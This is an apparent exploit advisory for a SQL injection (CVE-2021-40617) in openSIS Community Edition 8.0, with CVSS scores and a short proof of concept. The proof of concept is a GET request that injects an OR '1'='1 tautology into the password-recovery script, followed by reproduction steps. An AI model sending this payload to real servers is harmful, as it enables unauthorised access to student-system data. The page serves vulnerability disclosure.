openSIS Community Edition 8.0 SQL Injection

2025.12.21
Credit: CodeSecLab
Risk: Medium
Local: No
Remote: Yes
CVE: CVE-2021-40617
CWE: CWE-89


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

# Exploit Title: openSIS Community Edition 8.0 - SQL Injection # Date: 2025-11-25 # Exploit Author: CodeSecLab # Vendor Homepage: https://github.com/OS4ED/openSIS-Classic # Software Link: https://github.com/OS4ED/openSIS-Classic # Version: 8.0 # Tested on: Windows # CVE : CVE-2021-40617 Proof Of Concept GET /ForgotPassUserName.php?used_for=username&u=test%27%20OR%20%271%27%3D%271&user_type=student HTTP/1.1 Host: opensis Connection: close Steps to Reproduce Login as an admin user. Intercept and send the malicious request using a web proxy tool such as Burp Suite, ensure it includes a valid session cookie. Observe the result


See this note in RAW Version
Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}
Copyright 2025, cxsecurity.com

 

Back to Top